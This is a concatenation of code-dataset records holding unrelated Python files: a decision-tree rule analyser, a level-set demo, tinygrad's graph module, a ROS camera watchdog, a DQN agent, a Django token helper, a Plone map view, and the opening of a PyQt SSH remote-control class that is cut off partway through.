splits[1].lstrip()\n                splits[0] = splits[0].replace(' ','_')\n                rule_sets[i][j] = splits[0]+\" <= \"+splits[1]\n            elif \">\" in x:\n                splits = x.split(\">\")\n                splits[0] = splits[0].rstrip()\n                splits[1] = splits[1].lstrip()\n                splits[0] = splits[0].replace(' ','_')\n                rule_sets[i][j] = splits[0]+\" > \"+splits[1]\n            elif \"==\" in x:\n                splits = x.split(\"==\")\n                splits[0] = splits[0].rstrip()\n                splits[1] = splits[1].lstrip()\n                splits[0] = splits[0].replace(' ','_')\n                rule_sets[i][j] = splits[0]+\" == \"+splits[1]\n    return(rule_sets)\n\n\"\"\"\nThis function builds the query to be used in the pandas.query() function.\n\nParameter:\nrule: the rule to be examined\ntheme: the specific theme the one vs rest model is built for\n\nReturns:\nThe query form of the rule.\n\n\"\"\"\ndef build_query(rule, theme):\n    c = 0\n    query = \"\"\n    for i in rule:\n        if c == 0:\n            if \"class\" in i:\n                if '0' in i:\n                    query = 'not Themes == '+str(theme)\n                if '1' in i:\n                    query = 'Themes == '+str(theme)\n                    \n            else:\n                query = i\n        else:\n            if \"class\" in i:\n                if '0' in i:\n                    query+=' and not Themes == '+str(theme)\n                if '1' in i:\n                    query+=' and Themes == '+str(theme)\n            else:\n                query+=' and '+i\n        c+=1\n    return query\n\n\"\"\"\nThis function searches the dataset and returns the count of samples that a satifies the conditions of a rule.\n\nParameter:\nquery: the rule in query form to be used in pandas.query()\ndataset: the dataframe object\n\nReturns:\nThe count of samples that a satifies the conditions of a rule.\n\n\"\"\"\ndef db_lookup(query, dataset):\n    x = dataset.query(query)\n    return x.shape[0]\n\n\"\"\"\nThis function computes the number of samples that satisfy the conditions of each antecedent and precedent.\n\nParameter:\nrules: the set of rules extracted from the decision tree model \ntheme: the specific theme the one vs rest model is built for \n\nReturns:\nThe count of samples that a satifies the conditions of a rule.\n\"\"\"\ndef get_count_compound(rules, theme):\n    count = []\n    dataset = pd.read_csv(\"FinalTrainingSet.csv\")\n    cols = dataset.columns\n    cols = cols.map(lambda x: x.replace(' ', '_') if isinstance(x, (str, \"unicode\")) else x)\n    col = cols.tolist()\n    col[-1] = 'Themes'\n    dataset.columns = col\n    for i in rules:\n        rule = rules[i]\n        query = build_query(rule, theme)\n        x = db_lookup(query, dataset)\n        count.append((query, x))\n    return count\n\n\"\"\"\nThis function computes the number of samples that satisfy the conditions of each antecedent.\n\nParameter:\nrules: the set of rules extracted from the decision tree model \ntheme: the specific theme the one vs rest model is built for \n\nReturns:\nThe count of samples that a satifies the conditions of a rule.\n\"\"\"\ndef get_count_A(rules, theme):\n    count = []\n    dataset = pd.read_csv(\"FinalTrainingSet.csv\")\n    cols = dataset.columns\n    cols = cols.map(lambda x: x.replace(' ', '_') if isinstance(x, (str, \"unicode\")) else x)\n    col = cols.tolist()\n    col[-1] = 'Themes'\n    dataset.columns = col\n    for i in rules:\n        rule = rules[i]\n        query = build_query(rule[:-1], theme)\n        x = db_lookup(query, dataset)\n        count.append((query, x))\n    return count\n\n\"\"\"\nThis function computes the number of samples that satisfy the conditions of each precedent.\n\nParameter:\nrules: the set of rules extracted from the decision tree model \ntheme: the specific theme the one vs rest model is built for \n\nReturns:\nThe count of samples that a satifies the conditions of a rule.\n\"\"\"\n\ndef get_count_B(rules, theme):\n    count = []\n    dataset = pd.read_csv(\"FinalTrainingSet.csv\")\n    cols = dataset.columns\n    cols = cols.map(lambda x: x.replace(' ', '_') if isinstance(x, (str, \"unicode\")) else x)\n    col = cols.tolist()\n    col[-1] = 'Themes'\n    dataset.columns = col\n    for i in rules:\n        rule = rules[i]\n        if \"class\" in rule[-1]:\n            if '0' in rule[-1]:\n                query = 'not Themes == '+str(theme)\n            if '1' in rule[-1]:\n                query = 'Themes == '+str(theme)\n                    \n        else:\n            query = i\n        x = db_lookup(query, dataset)\n        count.append((query, x))\n    return count\n\n\n\"\"\"\nThis function computes the confidence and lift for each rule.\n\nParameter:\ncompound: a list of tuples containing the rule and it's true positives \nA: a list of tuples containing the precedents of the rule and it's true positives\nB: a list of tuples containing the antecedents of the rule and it's true positives\ntotal: the total number of samples in the dataset\n\nReturns:\nThe lists of tuples cotaining the rules and it's confidence and lift.\n\"\"\"\ndef compute_confidence_and_lift(compound, A, B, total):\n    confidence = []\n    lifts = []\n    for i in range(len(compound)):\n        if A[i][1]>0:\n            conf = compound[i][1]/A[i][1]\n            confidence.append((compound[i][0], conf))\n        else:\n            confidence.append((compound[i][0], 0))\n            \n    for i in range(len(compound)):\n        if (B[i][1]/total)>0:\n            lift = confidence[i][1]/(B[i][1]/total)\n            lifts.append((compound[i][0], lift))\n        else:\n            lifts.append((compound[i][0], 0))\n    return confidence, lifts\n\"\"\"\nThis function computes the average confidence and lift.\n\nParameter:\ncompound: a list of tuples containing the rule and it's true positives \nA: a list of tuples containing the precedents of the rule and it's true positives\nB: a list of tuples containing the antecedents of the rule and it's true positives\ntotal: the total number of samples in the dataset\n\nReturns:\nThe average confidence and lift.\n\"\"\"\ndef avg_lift_and_confidence(compound, A, B, total):\n    confidence, lift = compute_confidence_and_lift(compound, A, B, total)\n    avg_conf = 0\n    avg_lift = 0\n    for i in confidence:\n        avg_conf+=i[1]\n    avg_conf = avg_conf/len(confidence)\n    for i in lift:\n        avg_lift+=i[1]\n    avg_lift = avg_lift/len(lift)\n    return avg_conf, avg_lift\n\n\"\"\"\nThis function displays the confidence and lift for each rule.\n\nParameter:\ntree: the decision tree object\nfeatures: the list of features after feature selection\ntheme: the specific theme the one vs rest model is built for\n\n\"\"\"\ndef disp_conf_and_lift(tree, features, theme):\n    tree_text = tree_to_text(tree, features)\n    rules = extract_rules(tree_text)\n    rules = transform_rules(rules)\n    comp = get_count_compound(rules, theme)\n    A = get_count_A(rules, theme)\n    B = get_count_B(rules, theme)\n    conf, lift = compute_confidence_and_lift(comp, A, B, 401)\n    avg_conf, avg_lift = avg_lift_and_confidence(comp, A, B, 401)\n    for i in conf:\n        print(i[0]+\" Confidence: \"+str(i[1]))\n    print(\"Average Confidence: \"+str(avg_conf))\n    for i in lift:\n        print(i[0]+\" Lift: \"+str(i[1]))\n    print(\"Average Lift: \"+str(avg_lift))","sub_path":"Notebooks/Training/XLB.py","file_name":"XLB.py","file_ext":"py","file_size_in_byte":22058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"382960293","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 10 14:31:36 2020\n\n@author: rahul\n\nInspired from Ian Mitchell's examples\nlevel set with only convection velocity term\n\n\"\"\"\nimport numpy as np\nfrom gridHandler import Grid\nfrom terms import schemeData, velocityTerm, fill_grid\nfrom odeCFL import odeCFL1, odeCFL2, odeCFL3\nfrom spatialDerivative import upwindFirstFirst, upwindFirstENO2, upwindFirstENO3, upwindFirstWENO5\nfrom options import Options\n\n# Integration parameters.\ntMax = 0.1                 # End time.\nplotSteps = 9              # How many intermediate plots to produce?\nt0 = 0                     # Start time.\nsingleStep = 0             # Plot at each timestep (overrides tPlot).\n\n# Period at which intermediate plots should be produced.\ntPlot = (tMax - t0) / (plotSteps - 1)\n\n# How close (relative) do we need to get to tMax to be considered finished?\neps = 1e-4\nsmall = 100 * eps\n\n# What level set should we view?\nlevel = 0\n\n# Pause after each plot?\npauseAfterPlot = 0\n\n# Delete previous plot before showing next?\ndeleteLastPlot = 0\n\n# Plot in separate subplots (set deleteLastPlot = 0 in this case)?\nuseSubplots = 1\n\n# Create the grid.\ng_dim = 3\n# minimum in each direction: x, y, and (if present) z\n# Note the convention: always x, y and z except for gridShape\ng_min = [-1, -2,-1]\ng_max = [1, 4,1]\ng_dx = 1/100\n\ngrid = Grid(g_dim, g_min, g_max, g_dx)\n\n\n# set accuracy\naccuracy = 'high'\n\nif accuracy == 'low':\n    stencil = 1\n    timeInt = odeCFL1\n    spatDeriv = upwindFirstFirst\nelif accuracy == 'medium':\n    stencil = 2\n    timeInt = odeCFL2\n    spatDeriv = upwindFirstENO2\nelif accuracy == 'high':\n    stencil = 3\n    timeInt = odeCFL3\n    spatDeriv = upwindFirstENO3\nelif accuracy == 'veryHigh':\n    stencil = 3\n    timeInt = odeCFL3\n    spatDeriv = upwindFirstWENO5\n\n\ngrid.getGhostBounds(stencil)\n#%%\n# Create flow field\nconstV = np.zeros(grid.dim)\nconstV[1] = 1\n\n# velocity is also defined with the same convention:\n# [vx, vy [, vz]]\n# However, note that inside each of vx, vy and vz, the shapes are corresponding \n# actual matrix dimensions\nvel = fill_grid(grid, constV)\nflowType = 'constant'\n\n# Create initial conditions (a circle/sphere)\n\ncenter = [0, 0.1, 0] # (x,y,z)\nradius = 0.35\ngridvals = grid.getGridVals()\ndata = np.zeros(grid.gridShape)\n\nfor i in range(0, grid.dim):\n  data = data + np.power(gridvals[i] - center[i],2)\n\ndata = np.sqrt(data) - radius\n\n#%%\ndata = grid.ghostExtrapolate(data, stencil)\n\ndata0 = data\n\nschemeConvection = schemeData(grid, velocity=vel)\n\nt = t0\nopts = Options()\n\n#%%\nwhile t < tMax:\n    tSpan = [ t, min(tMax, t + tPlot) ]\n    t, data_next = timeInt(data, tSpan, velocityTerm, grid, schemeConvection, spatDeriv, opts)\n    print(t)\n    data = data_next\n\n\n    ","sub_path":"build/lib/ls_python/convectionDemo.py","file_name":"convectionDemo.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"622951529","text":"import os, atexit, itertools\ntry:\n  import networkx as nx  # type: ignore\nexcept ImportError:\n  nx = None # graph won't work\nfrom collections import defaultdict\nfrom typing import Dict, List, Optional, TYPE_CHECKING\nfrom tinygrad.ops import UnaryOps, BinaryOps, ReduceOps, MovementOps, LoadOps, TernaryOps, Op, OpType, LazyOp\nfrom tinygrad.helpers import GRAPH, GRAPHPATH, PRUNEGRAPH, DEBUG, GlobalCounters\nfrom tinygrad.runtime.lib import RawConst\n\nif TYPE_CHECKING: from tinygrad.lazy import LazyBuffer\n\n# **** debugging and graphing ****\n\nG = nx.DiGraph() if nx is not None else None\ncnts: Dict[OpType, int] = defaultdict(int)\nif DEBUG >= 2:\n  def print_globalcounters():\n    if GlobalCounters.time_sum_s == 0: return\n    print(f\"avg: {GlobalCounters.global_ops*1e-9/GlobalCounters.time_sum_s:8.2f} GFLOPS {GlobalCounters.global_mem*1e-9/GlobalCounters.time_sum_s:8.2f} GB/s\",\n          f\"{' '*10}total: {GlobalCounters.kernel_count:5d} kernels {GlobalCounters.global_ops*1e-9:8.2f} GOPS {GlobalCounters.global_mem*1e-9:8.2f} GB {GlobalCounters.time_sum_s*1e3:8.2f} ms\")\n  atexit.register(print_globalcounters)\nif GRAPH:\n  def save_graph_exit():\n    for k,v in cnts.items(): print(k, v)\n    if PRUNEGRAPH: prune_graph()\n    print(\"saving\", G)\n    nx.drawing.nx_pydot.write_dot(G, f'{GRAPHPATH}.dot')\n    # -Gnslimit=100 can make it finish, but you won't like results\n    os.system(f'dot -Tsvg {GRAPHPATH}.dot -o {GRAPHPATH}.svg')\n  atexit.register(save_graph_exit)\n\nnode_count = 0\ndef nm(x):\n  global node_count\n  if not hasattr(x, 'node_id'):\n    setattr(x, 'node_id', node_count)\n    node_count += 1\n  return x.node_id\n\ndef get_sop(op: List[Op]):\n  if len(op) <= 2: return '.'.join([str(y).split(\".\")[1] for y in op][::-1])\n  if len(op) <= 4: return '.'.join([str(y).split(\".\")[1][0:3] for y in op][::-1])\n  return str(len(op))\n\ndef str_dtype(dtyp):\n  ret = str(dtyp)[7:]\n  return \"\" if ret == 'float' else f\"\\n{ret}\"\n\ndef log_op(ret: 'LazyBuffer', ast: LazyOp, show_graph: Optional[bool] = None, phantom=False):\n  if show_graph is None: show_graph = bool(GRAPH)\n  if not DEBUG and not show_graph: return\n  op: List[Op] = [x.op for x in ast.get_lazyops()]\n  inp: List['LazyBuffer'] = [x for x in ast.buffers if not isinstance(x.realized, RawConst) or GRAPH > 1]\n  oporder = [LoadOps, TernaryOps, ReduceOps, BinaryOps, UnaryOps, MovementOps]\n  optype = type(sorted(op, key=lambda x: oporder.index(type(x)))[0])\n  cnts[optype] += 1\n  if DEBUG >= 6: print(f\"{op} : {', '.join([f'{x.shape}-<{nm(x)}>' for x in inp])} -> {ret.shape}-<{nm(ret)}>\")\n  if show_graph:\n    top_colors = {LoadOps: '#FFFF80', UnaryOps: \"#c0c0c0\", ReduceOps: \"#8080ff\", BinaryOps: \"#c0c0c0\", MovementOps: \"#80ff80\", TernaryOps: \"#ff8080\"}\n    dashed = (optype == LoadOps and hasattr(ret, \"_backing\")) or (hasattr(ret, \"st\") and not ret.st.contiguous)  # type: ignore\n\n    for x in inp:\n      G.add_edge(nm(x), nm(ret), label=get_sop(op), color='#00000060' if phantom else 'black')\n      if 'label' not in G.nodes[nm(x)]:\n        G.nodes[nm(x)]['label'] = str(x.shape)+str_dtype(ret.dtype)\n    if nm(ret) not in G.nodes: G.add_node(nm(ret))\n\n    G.nodes[nm(ret)]['label'] = (str(set(x.shape for x in inp))+\"\\n\"+str(ret.shape) if optype == ReduceOps else str(ret.shape))+str_dtype(ret.dtype)\n    G.nodes[nm(ret)]['fillcolor'] = (top_colors[optype] + ('60' if phantom else ('80' if dashed else str()))) if optype in top_colors else \"#ffffff\"\n    G.nodes[nm(ret)]['color'] = 'white' if phantom else 'black'\n    G.nodes[nm(ret)]['style'] = ('filled, dashed' if dashed else 'filled')\n    G.nodes[nm(ret)]['prunable'] = optype in [LoadOps, MovementOps]\n\n# prune movementops and loadops\ndef prune_graph():\n  dead_nodes = []\n  for n in G.nodes:\n    if 'prunable' in G.nodes[n] and G.nodes[n]['prunable']:\n      G.add_edges_from([(x, y) for (x,_),(_,y) in itertools.product(G.in_edges(n), G.out_edges(n))])\n      dead_nodes.append(n)\n  G.remove_nodes_from(dead_nodes)\n","sub_path":"tinygrad/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":3933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"346027794","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nfrom __future__ import division\nimport rospy\nfrom sensor_msgs.msg import CameraInfo\nimport subprocess\nimport psutil\n\nCAMERA_TIMEOUT = 10.0\nCAMERA_LAUNCH = \"roslaunch spark_bringup realsense_bringup.launch\"\n\n\nclass CameraWatchDog:\n    def __init__(self):\n        self.last_camera_info = rospy.Time.now()\n        self.camera_process = None\n        self.start_camera()\n        rospy.Subscriber(\"/camera/depth/camera_info\", CameraInfo, self.info_cb)\n        r = rospy.Rate(10)\n        while not rospy.is_shutdown():\n            r.sleep()\n            now = rospy.Time.now()\n            if (now - self.last_camera_info) > rospy.Duration(CAMERA_TIMEOUT):\n                rospy.logwarn(\"camera died restarting\")\n                self.term(self.camera_process.pid)\n                self.start_camera()\n\n    def start_camera(self):\n        rospy.loginfo(\"starting camera\")\n        self.camera_process = subprocess.Popen([CAMERA_LAUNCH], shell=True)\n        rospy.sleep(10.0)\n\n    def term(self, proc_pid):\n        process = psutil.Process(proc_pid)\n        for proc in process.get_children(recursive=True):\n            proc.terminate()\n        process.terminate()\n\n    def info_cb(self, msg):\n        self.last_camera_info = rospy.Time.now()\n\n\nif __name__ == \"__main__\":\n    rospy.init_node(\"camera_watchdog\")\n    watchdog = CameraWatchDog()\n","sub_path":"spark_bringup/nodes/camera_watchdog.py","file_name":"camera_watchdog.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"604539245","text":"# write python to get points for unit\nimport os\nimport json\n\npoints = {}\nfor root,dirs,files in os.walk(\".\"):\n    for file in files:\n        if file.endswith('.json') and not(file==\"course_map.json\"):\n            current_unit = os.path.join(root+'/'+file).split(\"/\")[-2]\n            points.setdefault(current_unit, 0)\n            with open(os.path.join(root+'/'+file), 'r') as f:\n\n                for line in f.readlines():\n                    if '\"points\":' in line:\n                        points[current_unit] += int(line.split(\":\")[-1].split('\"')[1])\n\n                        # print current_unit,\ncourse_map = {}\nwith open(\"course_map.json\") as f:\n    course_map = json.load(f)\n    # print course_map\n    for unit in course_map[\"units\"]:\n        if points[unit[\"title\"]]:\n            unit[\"totalPoints\"] = points[unit[\"title\"]]\n            unit[\"requiredPoints\"] = (points[unit[\"title\"]]*85)/100\n\nwith open(\"course_map.json\", 'w') as f:\n    json.dump(course_map, f, indent=4)\n","sub_path":"cspp1/get_unit_wise_points.py","file_name":"get_unit_wise_points.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"326672903","text":"############################################################################\n############################################################################\n# THIS IS THE ONLY FILE YOU SHOULD EDIT\n#\n#\n# Agent must always have these five functions:\n#     __init__(self)\n#     has_finished_episode(self)\n#     get_next_action(self, state)\n#     set_next_state_and_distance(self, next_state, distance_to_goal)\n#     get_greedy_action(self, state)\n#\n#\n# You may add any other functions as you wish\n############################################################################\n############################################################################\n\nfrom collections import deque\nimport numpy as np\nimport torch\nimport time\nfrom matplotlib import pyplot as plt\n\n# The Network class inherits the torch.nn.Module class, which represents a neural network.\nclass Network(torch.nn.Module):\n\n    # The class initialisation function. This takes as arguments the dimension of the network's input (i.e. the dimension of the state), and the dimension of the network's output (i.e. the dimension of the action).\n    def __init__(self, input_dimension, output_dimension):\n        # Call the initialisation function of the parent class.\n        super(Network, self).__init__()\n        # Define the network layers. This example network has two hidden layers, each with 100 units.\n        self.layer_1 = torch.nn.Linear(in_features=input_dimension, out_features=32)\n        self.layer_2 = torch.nn.Linear(in_features=32, out_features=32)\n        self.output_layer = torch.nn.Linear(in_features=32, out_features=output_dimension)\n\n    # Function which sends some input data through the network and returns the network's output. In this example, a ReLU activation function is used for both hidden layers, but the output layer has no activation function (it is just a linear layer).\n    def forward(self, input):\n        layer_1_output = torch.nn.functional.relu(self.layer_1(input))\n        layer_2_output = torch.nn.functional.relu(self.layer_2(layer_1_output))\n        output = self.output_layer(layer_2_output)\n        return output\n\n\nclass ReplayBuffer:\n\n    def __init__(self, max_size):\n        self.buffer = deque(maxlen=max_size)\n\n    def add(self, transition):\n        self.buffer.append(transition)\n\n    def sample(self, batch_size, p=None):\n        minibatch = []\n        if p:\n            indices = np.random.choice(len(self.buffer), size=batch_size, p=p)\n        else:\n            indices = np.random.choice(len(self.buffer), size=batch_size)\n        for idx in indices:\n            minibatch.append(self.buffer[idx])\n        return minibatch\n\n    def curr_size(self):\n        return len(self.buffer)\n\n\nclass Agent:\n\n    # Function to initialise the agent\n    def __init__(self, epsilon, decay, gamma, lr, batch_size, update_target_freq, episode_length, alpha):\n        self.epsilon = epsilon\n        self.old_epsilon = None\n        self.decay = decay\n        self.gamma = gamma\n        self.lr = lr\n        self.batch_size = batch_size\n        self.update_target_freq = update_target_freq\n        # Set the episode length\n        self.episode_length = 500\n        # Reset the total number of steps which the agent has taken\n        self.num_steps_taken = 0\n        # The state variable stores the latest state of the agent in the environment\n        self.state = None\n        # The action variable stores the latest action which the agent has applied to the environment\n        self.action = None\n\n        self.replay_buffer = ReplayBuffer(5000)\n        self.weights = []\n        self.probs = []\n        self.alpha = alpha\n\n        self.q_network = Network(input_dimension=2, output_dimension=4)\n        self.target_network = Network(input_dimension=2, output_dimension=4)\n        # Define the optimiser which is used when updating the Q-network. The learning rate determines how big each gradient step is during backpropagation.\n        self.optimiser = torch.optim.Adam(self.q_network.parameters(), lr=self.lr)\n\n    # Function to check whether the agent has reached the end of an episode\n    def has_finished_episode(self):\n        if self.num_steps_taken % self.episode_length == 0:\n            return True\n        else:\n            return False\n\n    # Function to convert discrete action (as used by a DQN) to a continuous action (as used by the environment).\n    def _discrete_action_to_continuous(self, discrete_action):\n        if discrete_action == 0:\n            # Move 0.1 to the right, and 0 upwards\n            continuous_action = np.array([0.02, 0], dtype=np.float32)\n        elif discrete_action == 1:\n            # Move 0.1 to the right, and 0 upwards\n            continuous_action = np.array([-0.02, 0], dtype=np.float32)\n        elif discrete_action == 2:\n            # Move 0.1 to the right, and 0 upwards\n            continuous_action = np.array([0, 0.02], dtype=np.float32)\n        elif discrete_action == 3:\n            # Move 0.1 to the right, and 0 upwards\n            continuous_action = np.array([0, -0.02], dtype=np.float32)\n        return continuous_action\n\n    def _continous_action_to_discrete(self, continuous_action):\n        e = 0.001\n        if continuous_action[0] > e:\n            discrete_action = 0\n        elif continuous_action[0] < 0:\n            discrete_action = 1\n        if continuous_action[1] > e:\n            discrete_action = 2\n        elif continuous_action[1] < 0:\n            discrete_action = 3\n        return discrete_action\n\n    # Function to get the next action, using whatever method you like\n    def get_next_action(self, state):\n        action_space = [0, 1, 2, 3]\n        k = len(action_space)\n        action = None\n        epsilon_greedy = False\n\n        if self.state is not None:\n            greedy_action = self.get_greedy_action(self.state, index=True)\n            epsilon_greedy = True\n\n        if epsilon_greedy:\n            probabilities = [self.epsilon / k] * k\n            probabilities[greedy_action] = 1 - self.epsilon + (self.epsilon / k)\n            rand = np.random.rand()\n            action, curr_p = None, 0\n            for i, p in enumerate(probabilities):\n                curr_p += p\n                if rand < curr_p:\n                    action = i\n                    break\n        else:\n            # Here, the action is random, but you can change this\n            action = np.random.choice(action_space)\n\n        action = self._discrete_action_to_continuous(action)\n        # Update the number of steps which the agent has taken\n        self.num_steps_taken += 1\n        # Store the state; this will be used later, when storing the transition\n        self.state = state\n        # Store the action; this will be used later, when storing the transition\n        self.action = action\n        return action\n\n    def _calculate_loss(self, states, actions, rewards, next_states):\n        states = torch.tensor(states)\n        next_states = torch.tensor(next_states)\n        actions = torch.tensor(actions)\n        rewards = torch.tensor(rewards, dtype=torch.float32)\n\n        q_prediction = self.q_network.forward(states)\n        q_prediction = q_prediction.gather(1, actions.unsqueeze(-1)).squeeze(-1)\n\n        q_label = self.target_network.forward(next_states).detach()\n        q_label, idx = q_label.max(1)\n        q_label = self.q_network.forward(next_states).gather(1, idx.unsqueeze(-1)).squeeze(-1)\n        # q_label = q_label.gather(1, max_actions.unsqueeze(-1)).squeeze(-1).detach()\n        return torch.nn.MSELoss()(q_prediction, rewards + (self.gamma * q_label))\n\n    def _train_q_network(self, transitions):\n        # Set all the gradients stored in the optimiser to zero.\n        self.optimiser.zero_grad()\n        # Calculate the loss for this transition.\n        loss = self._calculate_loss(*transitions)\n        # Compute the gradients based on this loss, i.e. the gradients of the loss with respect to the Q-network parameters.\n        loss.backward()\n        # Take one gradient step to update the Q-network.\n        self.optimiser.step()\n        # Return the loss as a scalar\n        return loss.item()\n\n    def _update_target_network(self):\n        q_network_state = self.q_network.state_dict()\n        self.target_network.load_state_dict(q_network_state)\n\n    def _calculate_weight(self, state, action, reward, next_state):\n        e = 0.01\n        action = torch.tensor(action).unsqueeze(0).unsqueeze(0)\n        state = torch.tensor(state).unsqueeze(0)\n        next_state = torch.tensor(next_state).unsqueeze(0)\n\n        q_prediction = self.q_network.forward(state).detach()\n        q_prediction = q_prediction.gather(1, action)\n\n        q_label = self.target_network.forward(next_state).detach()\n        q_label = q_label.max(1)[0]\n\n        delta = np.abs(reward + q_label - q_prediction)[0][0].item()\n        return delta + e\n\n    def _update_weights_probabilities(self):\n        for i, transition in enumerate(self.replay_buffer.buffer):\n            self.weights[i] = self._calculate_weight(*transition)\n\n        weight_sum = sum((w**self.alpha for w in self.weights))\n        for i, w in enumerate(self.weights):\n            self.probs[i] = w**self.alpha / weight_sum\n\n    # Function to set the next state and distance, which resulted from applying action self.action at state self.state\n    def set_next_state_and_distance(self, next_state, distance_to_goal):\n        # Convert the distance to a reward\n        penalty = 1\n        self.epsilon *= self.decay\n        if np.array_equal(self.state, next_state):\n            pentalty = 1.5\n            self.epsilon /= self.decay\n        reward = 1 - (distance_to_goal * penalty)\n\n        episode_steps = self.num_steps_taken % self.episode_length\n        if self.has_finished_episode:\n            self.train = True\n        elif self.epsilon == 0 and self.has_finished_episode:\n            self.epsilon = self.old_epsilon\n        elif self.epsilon == 0 and distance_to_goal < 0.03 and episode_steps < 100:\n            self.epsilon = self.old_epsilon\n            self.train = False\n        elif distance_to_goal < 0.05 and self.epsilon <= 0.1 and episode_steps < 100:\n            self.old_epsilon = self.epsilon\n            self.epsilon = 0\n\n        # Create a transition\n        discrete_action = self._continous_action_to_discrete(self.action)\n        transition = (self.state, discrete_action, reward, next_state)\n        self.replay_buffer.add(transition)\n        # Now you can do something with this transition ...\n        if self.weights:\n            max_w = max(self.weights)\n            self.probs.append(0)\n        else:\n            max_w = self._calculate_weight(*transition)\n            self.probs.append(1)\n        self.weights.append(max_w)\n\n        if self.replay_buffer.curr_size() >= self.batch_size and self.train:\n            batch = self.replay_buffer.sample(self.batch_size, p=self.probs)\n            states, actions, rewards, next_states = [], [], [], []\n\n            for state, action, reward, next_st in batch:\n                states.append(state)\n                actions.append(action)\n                rewards.append(reward)\n                next_states.append(next_st)\n\n            states, actions = np.array(states), np.array(actions)\n            rewards, next_state = np.array(rewards), np.array(next_states)\n            loss = self._train_q_network((states, actions, rewards, next_states))\n\n        self._update_weights_probabilities()\n        if self.num_steps_taken % self.update_target_freq == 0:\n            self._update_target_network()\n\n    # Function to get the greedy action for a particular state\n    def get_greedy_action(self, state, index=False):\n        # Here, the greedy action is fixed, but you should change it so that it returns the action with the highest Q-value\n        curr_state = torch.from_numpy(np.array(state)).unsqueeze(0)\n        action = np.argmax(self.q_network.forward(curr_state).detach())\n        if index:\n            return action\n        else:\n            return self._discrete_action_to_continuous(action)\n","sub_path":"agent_wandb.py","file_name":"agent_wandb.py","file_ext":"py","file_size_in_byte":12008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"42860058","text":"# coding: utf-8\n\n\nfrom datetime import datetime, timedelta\nfrom hashlib import sha1\n\nfrom django.conf import settings\n\n\ndef get_antispam_tokens():\n    date_format = \"%Y-%m-%d\"\n\n    today = datetime.utcnow().strftime(date_format)\n    yesterday = (datetime.utcnow() - timedelta(1)).strftime(date_format)\n\n    secrets = (\n        settings.SECRET_KEY + today,\n        settings.SECRET_KEY + yesterday,\n    )\n\n    return [sha1(secret.encode(\"ascii\")).hexdigest() for secret in secrets]\n","sub_path":"quickstartup/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"315197584","text":"from five import grok\nfrom Products.CMFCore.utils import getToolByName\nfrom collective.geo.mapwidget.browser.widget import MapWidget\nfrom collective.eventmanager.accommodation import IAccommodation\nfrom collective.eventmanager.interfaces import ILayer\n\n\nclass View(grok.View):\n    \"\"\"Default view (called \"@@view\"\") for an accommodation.\n\n    The associated template is found in accommodation_templates/view.pt\n    \"\"\"\n\n    grok.context(IAccommodation)\n    grok.require('zope2.View')\n    grok.name('view')\n    grok.layer(ILayer)\n\n    MAP_CSS_CLASS = 'accommodationlocation'\n\n    def __call__(self):\n        # setup map widget\n        portal = getToolByName(self.context, \"portal_url\")\n        mw = MapWidget(self, self.request, portal)\n        mw.mapid = self.MAP_CSS_CLASS\n        mw.addClass(self.MAP_CSS_CLASS)\n        self.mapfields = [mw]\n\n        return super(View, self).__call__()\n\n    def cgmapSettings(self):\n        settings = {}\n\n        coords = [0, 0]\n        if self.context.location != None \\\n                and self.context.location[0:6] == u'POINT(':\n            coords = self.context.location[6:-1].split(' ')\n\n        settings['lon'] = float(coords[0])\n        settings['lat'] = float(coords[1])\n        settings['zoom'] = 16\n\n        return \"cgmap.state['\" + self.MAP_CSS_CLASS + \"'] = \" \\\n               + str(settings) + \";\"\n","sub_path":"collective/eventmanager/browser/accommodation.py","file_name":"accommodation.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"516828389","text":"import os\r\nimport subprocess\r\nimport logging\r\nimport json\r\nfrom PyQt5 import QtGui, QtWidgets, QtCore\r\nfrom collections import deque\r\n\r\n# My modules\r\nfrom worker import Worker\r\nfrom sshDialogForm import ChooseCommandDialog, SCPDialog, SSHInputDialog\r\nfrom urlDialog import URLForm\r\nimport crypt\r\nfrom ssh import load_ssh_file\r\n\r\n\r\nXDOTOOL = 'DISPLAY=:1 xdotool'\r\n\r\n\r\nclass SSHActions(object):\r\n    \"\"\"Docstring for SSHMenu. \"\"\"\r\n    def __init__(self, tasklist=None, parent=None):\r\n        self._parent = parent\r\n\r\n        if tasklist is None:\r\n            self.tasklist = []\r\n        else:\r\n            self.tasklist = tasklist\r\n\r\n        self.threadpool = QtCore.QThreadPool()\r\n        self.threadpool.setMaxThreadCount(20)\r\n        self.threadpool.waitForDone(-1)\r\n\r\n        self.scp_pool = QtCore.QThreadPool()\r\n        self.scp_pool.setMaxThreadCount(5)\r\n        self.scp_pool.waitForDone(-1)\r\n\r\n        self.backup_pool = QtCore.QThreadPool()\r\n        self.backup_pool.setMaxThreadCount(5)\r\n        self.backup_pool.waitForDone(-1)\r\n\r\n        self.vncviewer_threads = QtCore.QThreadPool()\r\n        self.vncviewer_threads.setMaxThreadCount(10)\r\n\r\n        self.terminal_threads = QtCore.QThreadPool()\r\n        self.terminal_threads.setMaxThreadCount(100)\r\n\r\n    def clearJobs(self):\r\n        for f in [self.threadpool, self.scp_pool, self.backup_pool]:\r\n            f.clear()\r\n\r\n    def __debot__(self, item):\r\n        item.exec_command('DISPLAY=:1 xdotool mousemove 56 223 click 1')\r\n        item.open_vncviewer()\r\n        item.exec_command('rm -f ~/.ytv/robot.txt')\r\n        item.update_server_info()\r\n        # 